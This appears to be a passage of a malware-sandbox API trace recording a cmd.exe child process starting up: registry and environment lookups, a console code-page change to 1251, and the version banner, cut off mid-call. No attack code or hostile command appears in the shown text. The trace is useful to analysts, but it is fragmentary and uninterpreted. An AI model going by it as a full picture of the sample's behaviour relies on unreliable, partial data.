[0175.891] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0175.891] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0175.891] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0175.891] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0175.891] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0175.891] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0175.891] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0175.891] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0175.891] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0175.892] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0175.892] GetProcessHeap () returned 0x350000 [0175.892] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x364640 | out: hHeap=0x350000) returned 1 [0175.892] GetProcessHeap () returned 0x350000 [0175.892] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x12) returned 0x368900 [0175.892] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x25f020*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x25efd0 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x25efd0*(hProcess=0x54, hThread=0x50, dwProcessId=0x50c, dwThreadId=0x78c)) returned 1 [0175.960] CloseHandle (hObject=0x50) returned 1 [0175.960] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0175.960] GetProcessHeap () returned 0x350000 [0175.960] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x368a60 | out: hHeap=0x350000) returned 1 [0175.960] GetEnvironmentStringsW () returned 0x368a60* [0175.960] GetProcessHeap () returned 0x350000 [0175.960] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xac4) returned 0x36b2a0 [0175.960] FreeEnvironmentStringsW (penv=0x368a60) returned 1 [0175.960] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77640000 [0175.961] GetProcAddress (hModule=0x77640000, lpProcName="NtQueryInformationProcess") returned 0x776914a0 [0175.961] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x25e8d8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x25e8d8, ReturnLength=0x0) returned 0x0 [0175.961] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd6000, lpBuffer=0x25e910, nSize=0x380, lpNumberOfBytesRead=0x25e8d0 | out: lpBuffer=0x25e910*, lpNumberOfBytesRead=0x25e8d0*=0x380) returned 1 [0175.961] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) Process: id = "14" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x637e7000" os_pid = "0x734" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x568" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9a0" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 79 os_tid = 0x6b8 [0175.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fc40 | out: lpSystemTimeAsFileTime=0x14fc40*(dwLowDateTime=0x23897230, dwHighDateTime=0x1d58aa9)) [0175.781] GetCurrentProcessId () returned 0x734 [0175.781] GetCurrentThreadId () returned 0x6b8 [0175.781] GetTickCount () returned 0x113b8d4 [0175.781] QueryPerformanceCounter (in: lpPerformanceCount=0x14fc48 | out: lpPerformanceCount=0x14fc48*=11510404997) returned 1 [0175.784] GetModuleHandleW (lpModuleName=0x0) returned 0x4a2c0000 [0175.784] __set_app_type (_Type=0x1) [0175.784] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a2e7810) returned 0x0 [0175.784] __getmainargs (in: _Argc=0x4a30a608, _Argv=0x4a30a618, _Env=0x4a30a610, _DoWildCard=0, _StartInfo=0x4a2ee0f4 | out: _Argc=0x4a30a608, _Argv=0x4a30a618, _Env=0x4a30a610) returned 0 [0175.785] GetCurrentThreadId () returned 0x6b8 [0175.785] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x6b8) returned 0x3c [0175.785] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77420000 [0175.785] GetProcAddress (hModule=0x77420000, lpProcName="SetThreadUILanguage") returned 0x77436d40 [0175.785] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0175.786] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0175.786] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14fbd8 | out: phkResult=0x14fbd8*=0x0) returned 0x2 [0175.786] VirtualQuery (in: lpAddress=0x14fbc0, lpBuffer=0x14fb40, dwLength=0x30 | out: lpBuffer=0x14fb40*(BaseAddress=0x14f000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0175.787] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x14fb40, dwLength=0x30 | out: lpBuffer=0x14fb40*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0175.787] VirtualQuery (in: lpAddress=0x51000, lpBuffer=0x14fb40, dwLength=0x30 | out: lpBuffer=0x14fb40*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0175.787] VirtualQuery (in: lpAddress=0x54000, lpBuffer=0x14fb40, dwLength=0x30 | out: lpBuffer=0x14fb40*(BaseAddress=0x54000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0175.787] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x14fb40, dwLength=0x30 | out: lpBuffer=0x14fb40*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0175.787] GetConsoleOutputCP () returned 0x1b5 [0175.787] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a2fbfe0 | out: lpCPInfo=0x4a2fbfe0) returned 1 [0175.787] SetConsoleCtrlHandler (HandlerRoutine=0x4a2e3184, Add=1) returned 1 [0175.787] _get_osfhandle (_FileHandle=1) returned 0x3a4 [0175.787] SetConsoleMode (hConsoleHandle=0x3a4, dwMode=0x0) returned 0 [0175.788] _get_osfhandle (_FileHandle=1) returned 0x3a4 [0175.788] GetConsoleMode (in: hConsoleHandle=0x3a4, lpMode=0x4a2ee194 | out: lpMode=0x4a2ee194) returned 0 [0175.788] _get_osfhandle (_FileHandle=0) returned 0x35c [0175.788] GetConsoleMode (in: hConsoleHandle=0x35c, lpMode=0x4a2ee198 | out: lpMode=0x4a2ee198) returned 0 [0175.788] GetEnvironmentStringsW () returned 0x258aa0* [0175.788] GetProcessHeap () returned 0x240000 [0175.788] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xab4) returned 0x259560 [0175.788] FreeEnvironmentStringsW (penv=0x258aa0) returned 1 [0175.788] GetProcessHeap () returned 0x240000 [0175.788] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x258920 [0175.788] GetEnvironmentStringsW () returned 0x258aa0* [0175.788] GetProcessHeap () returned 0x240000 [0175.788] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xab4) returned 0x25a020 [0175.789] FreeEnvironmentStringsW (penv=0x258aa0) returned 1 [0175.789] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14ea98 | out: phkResult=0x14ea98*=0x44) returned 0x0 [0175.789] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14ea90, lpData=0x14eab0, lpcbData=0x14ea94*=0x1000 | out: lpType=0x14ea90*=0x0, lpData=0x14eab0*=0x18, lpcbData=0x14ea94*=0x1000) returned 0x2 [0175.789] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14ea90, lpData=0x14eab0, lpcbData=0x14ea94*=0x1000 | out: lpType=0x14ea90*=0x4, lpData=0x14eab0*=0x1, lpcbData=0x14ea94*=0x4) returned 0x0 [0175.789] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14ea90, lpData=0x14eab0, lpcbData=0x14ea94*=0x1000 | out: lpType=0x14ea90*=0x0, lpData=0x14eab0*=0x1, lpcbData=0x14ea94*=0x1000) returned 0x2 [0175.789] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14ea90, lpData=0x14eab0, lpcbData=0x14ea94*=0x1000 | out: lpType=0x14ea90*=0x4, lpData=0x14eab0*=0x0, lpcbData=0x14ea94*=0x4) returned 0x0 [0175.789] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14ea90, lpData=0x14eab0, lpcbData=0x14ea94*=0x1000 | out: lpType=0x14ea90*=0x4, lpData=0x14eab0*=0x40, lpcbData=0x14ea94*=0x4) returned 0x0 [0175.789] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14ea90, lpData=0x14eab0, lpcbData=0x14ea94*=0x1000 | out: lpType=0x14ea90*=0x4, lpData=0x14eab0*=0x40, lpcbData=0x14ea94*=0x4) returned 0x0 [0175.789] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14ea90, lpData=0x14eab0, lpcbData=0x14ea94*=0x1000 | out: lpType=0x14ea90*=0x0, lpData=0x14eab0*=0x40, lpcbData=0x14ea94*=0x1000) returned 0x2 [0175.789] RegCloseKey (hKey=0x44) returned 0x0 [0175.789] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14ea98 | out: phkResult=0x14ea98*=0x44) returned 0x0 [0175.789] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14ea90, lpData=0x14eab0, lpcbData=0x14ea94*=0x1000 | out: lpType=0x14ea90*=0x0, lpData=0x14eab0*=0x40, lpcbData=0x14ea94*=0x1000) returned 0x2 [0175.789] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14ea90, lpData=0x14eab0, lpcbData=0x14ea94*=0x1000 | out: lpType=0x14ea90*=0x4, lpData=0x14eab0*=0x1, lpcbData=0x14ea94*=0x4) returned 0x0 [0175.789] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14ea90, lpData=0x14eab0, lpcbData=0x14ea94*=0x1000 | out: lpType=0x14ea90*=0x0, lpData=0x14eab0*=0x1, lpcbData=0x14ea94*=0x1000) returned 0x2 [0175.789] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14ea90, lpData=0x14eab0, lpcbData=0x14ea94*=0x1000 | out: lpType=0x14ea90*=0x4, lpData=0x14eab0*=0x0, lpcbData=0x14ea94*=0x4) returned 0x0 [0175.789] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14ea90, lpData=0x14eab0, lpcbData=0x14ea94*=0x1000 | out: lpType=0x14ea90*=0x4, lpData=0x14eab0*=0x9, lpcbData=0x14ea94*=0x4) returned 0x0 [0175.789] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14ea90, lpData=0x14eab0, lpcbData=0x14ea94*=0x1000 | out: lpType=0x14ea90*=0x4, lpData=0x14eab0*=0x9, lpcbData=0x14ea94*=0x4) returned 0x0 [0175.789] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14ea90, lpData=0x14eab0, lpcbData=0x14ea94*=0x1000 | out: lpType=0x14ea90*=0x0, lpData=0x14eab0*=0x9, lpcbData=0x14ea94*=0x1000) returned 0x2 [0175.790] RegCloseKey (hKey=0x44) returned 0x0 [0175.790] time (in: timer=0x0 | out: timer=0x0) returned 0x5db208a8 [0175.790] srand (_Seed=0x5db208a8) [0175.790] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0175.790] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0175.790] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a2fc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0175.790] GetProcessHeap () returned 0x240000 [0175.790] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x25aae0 [0175.790] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x25aaf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0175.791] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a2ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0175.791] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a2ef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0175.791] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a2ef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0175.791] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0175.791] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0175.791] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0175.791] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0175.791] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0175.791] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0175.791] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0175.791] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0175.791] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0175.791] GetProcessHeap () returned 0x240000 [0175.791] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259560 | out: hHeap=0x240000) returned 1 [0175.791] GetEnvironmentStringsW () returned 0x258aa0* [0175.791] GetProcessHeap () returned 0x240000 [0175.791] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xacc) returned 0x25ad00 [0175.791] FreeEnvironmentStringsW (penv=0x258aa0) returned 1 [0175.791] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a2ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0175.791] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a2ef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0175.791] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0175.791] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0175.791] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0175.791] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0175.791] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0175.791] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0175.791] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0175.792] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0175.792] GetProcessHeap () returned 0x240000 [0175.792] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x38) returned 0x2564d0 [0175.792] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x14f8a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0175.792] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x14f8a0, lpFilePart=0x14f880 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x14f880*="system32") returned 0x13 [0175.792] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0175.792] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x14f5b0 | out: lpFindFileData=0x14f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="Windows", cAlternateFileName="")) returned 0x25b7e0 [0175.792] FindClose (in: hFindFile=0x25b7e0 | out: hFindFile=0x25b7e0) returned 1 [0175.792] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x14f5b0 | out: lpFindFileData=0x14f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcc95fc50, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xcc95fc50, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="System32", cAlternateFileName="")) returned 0x25b7e0 [0175.792] FindClose (in: hFindFile=0x25b7e0 | out: hFindFile=0x25b7e0) returned 1 [0175.792] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0175.792] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0175.792] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0175.792] GetProcessHeap () returned 0x240000 [0175.793] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ad00 | out: hHeap=0x240000) returned 1 [0175.793] GetEnvironmentStringsW () returned 0x25ad00* [0175.793] GetProcessHeap () returned 0x240000 [0175.793] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xafc) returned 0x258aa0 [0175.793] FreeEnvironmentStringsW (penv=0x25ad00) returned 1 [0175.793] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a2fc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0175.793] GetProcessHeap () returned 0x240000 [0175.793] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2564d0 | out: hHeap=0x240000) returned 1 [0175.793] GetProcessHeap () returned 0x240000 [0175.793] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4016) returned 0x25ad00 [0175.793] GetProcessHeap () returned 0x240000 [0175.793] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ad00 | out: hHeap=0x240000) returned 1 [0175.793] GetConsoleOutputCP () returned 0x1b5 [0175.830] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a2fbfe0 | out: lpCPInfo=0x4a2fbfe0) returned 1 [0175.830] GetUserDefaultLCID () returned 0x409 [0175.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a2f7b50, cchData=8 | out: lpLCData=":") returned 2 [0175.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14f9b0, cchData=128 | out: lpLCData="0") returned 2 [0175.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14f9b0, cchData=128 | out: lpLCData="0") returned 2 [0175.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14f9b0, cchData=128 | out: lpLCData="1") returned 2 [0175.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a30a740, cchData=8 | out: lpLCData="/") returned 2 [0175.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a30a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0175.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a30a460, cchData=32 | out: lpLCData="Tue") returned 4 [0175.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a30a420, cchData=32 | out: lpLCData="Wed") returned 4 [0175.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a30a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0175.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a30a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0175.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a30a360, cchData=32 | out: lpLCData="Sat") returned 4 [0175.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a30a700, cchData=32 | out: lpLCData="Sun") returned 4 [0175.831] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a2f7b40, cchData=8 | out: lpLCData=".") returned 2 [0175.831] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a30a4e0, cchData=8 | out: lpLCData=",") returned 2 [0175.832] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0175.832] GetProcessHeap () returned 0x240000 [0175.832] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20c) returned 0x259620 [0175.832] GetConsoleTitleW (in: lpConsoleTitle=0x259620, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0175.833] _get_osfhandle (_FileHandle=1) returned 0x3a4 [0175.833] GetFileType (hFile=0x3a4) returned 0x3 [0175.833] BrandingFormatString () returned 0x259840 [0175.838] GetVersion () returned 0x1db10106 [0175.838] _vsnwprintf (in: _Buffer=0x14fb20, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x14fab8 | out: _Buffer="6.1.7601") returned 8 [0175.839] _get_osfhandle (_FileHandle=1) returned 0x3a4 [0175.839] GetFileType (hFile=0x3a4) returned 0x3 [0175.839] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a306340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0175.839] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a306340, nSize=0x2000, Arguments=0x14fac0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0175.839] _get_osfhandle (_FileHandle=1) returned 0x3a4 [0175.839] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a2fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0175.839] WriteFile (in: hFile=0x3a4, lpBuffer=0x4a2fc320, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x14fa48, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x14fa48, lpOverlapped=0x0) returned 0 [0175.840] GetLastError () returned 0xe8 [0175.840] _vsnwprintf (in: _Buffer=0x4a306340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14fae8 | out: _Buffer="\r\n") returned 2 [0175.840] _get_osfhandle (_FileHandle=1) returned 0x3a4 [0175.840] GetFileType (hFile=0x3a4) returned 0x3 [0175.840] _get_osfhandle (_FileHandle=1) returned 0x3a4 [0175.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a2fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0175.840] WriteFile (in: hFile=0x3a4, lpBuffer=0x4a2fc320, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14fab8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x14fab8, lpOverlapped=0x0) returned 0 [0175.840] GetLastError () returned 0xe8 [0175.840] _get_osfhandle (_FileHandle=1) returned 0x3a4 [0175.840] GetFileType (hFile=0x3a4) returned 0x3 [0175.840] _get_osfhandle (_FileHandle=1) returned 0x3a4 [0175.840] GetFileType (hFile=0x3a4) returned 0x3 [0175.840] _get_osfhandle (_FileHandle=2) returned 0x3a4 [0175.841] GetFileType (hFile=0x3a4) returned 0x3 [0175.841] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2364, dwLanguageId=0x0, 